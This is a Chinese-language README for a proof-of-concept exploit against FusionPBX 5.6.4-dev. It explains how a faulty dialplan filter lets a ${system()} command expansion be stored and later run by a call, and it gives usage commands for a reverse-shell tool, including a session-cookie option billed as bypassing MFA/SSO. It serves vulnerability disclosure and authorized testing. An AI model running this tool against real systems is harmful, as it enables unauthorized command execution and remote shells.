CVE-2026-112195 FusionPBX 拨号计划拒绝列表绕过,可在 FusionPBX 5.6.4-dev 中实现条件性操作系统命令执行
仅供教育和经授权的渗透测试用途。
本工具是一个概念验证(PoC),演示了 FusionPBX 5.6.4-dev 中拨号计划(dialplan)配置里通过系统过滤器绕过导致的远程代码执行(RCE)漏洞。作者不对本工具造成的任何滥用或损害负责。在任何目标系统上进行测试之前,请务必确保已获得明确授权。
FusionPBX 会有意从结构化拨号计划编辑器的应用列表中移除危险的 FreeSWITCH 应用,例如 system、bgsystem、spawn、bg_spawn 和 spawn_stream。然而,相应的服务端过滤器在逻辑上是错误的,允许这些值被提交并存储。
在安全的默认安装中,FreeSWITCH 独立的命令控制会阻止已存储的 system 动作执行。如果受信任的管理员故意禁用适用的 FreeSWITCH 控制并重新加载相关的运行时组件,那么先前被接受的拨号计划动作在其路由被触发时,就能以 FreeSWITCH 服务账户身份执行操作系统命令。
FusionPBX 5.6.4-dev 随附的 FreeSWITCH 已禁用相关的系统命令接口。在 FusionPBX 默认权限模型下,利用该漏洞需要已认证的超级管理员会话——或被明确授予同等权限的其他账户——并且适用的系统命令接口必须已启用或由管理员启用。随后必须在配置更改后加载相关的 FreeSWITCH 模块。
该漏洞利用针对的是 FusionPBX 处理拨号计划数据的方式。通过在配置保存过程中注入特定的命令字符串,该工具绕过了标准输入过滤器,使 ${system()} 展开式得以保留在配置中。当拨号计划随后被执行时(通过呼叫触发),FreeSWITCH 会展开该命令,从而导致 RCE。
python3 exploit.py --base-url <URL> --lhost <IP> --lport <PORT> [OPTIONS]
python3 exploit.py -t https://pbx.lab.example --username admin --password Password123 --insecure --trigger-local --lhost X.X.X.X --lport XXXX
--base-url The target FusionPBX base URL (e.g., https://pbx.lab.example or https://host/fusionpbx/).
--lhost The IP address of your listener (the machine receiving the reverse shell).
--lport The port on your listener machine (e.g., 4444).
--cookie An existing authorized session cookie (e.g., PHPSESSID=xyz...). Use this to bypass MFA/SSO.
--username The FusionPBX username (requires --password).
--password The password for the specified user.
--domain-name The FusionPBX login domain name (required if the login form/domain configuration requires it).
--insecure Disable TLS certificate validation. Use only in isolated lab environments.
--trigger-local Attempts to trigger the route automatically using the local fs_cli (must be run on the PBX host).
--fs-cli-path Path to the local fs_cli binary (default: /usr/bin/fs_cli).
--sudo-fs-cli Use sudo -n to invoke fs_cli non-interactively (requires existing sudo authorization).
--context Test dialplan context (default: ${domain_name}).
--trigger Specific digits to dial to trigger the shell (default: random 8-digit number).
Note: You must provide either a session cookie OR credentials.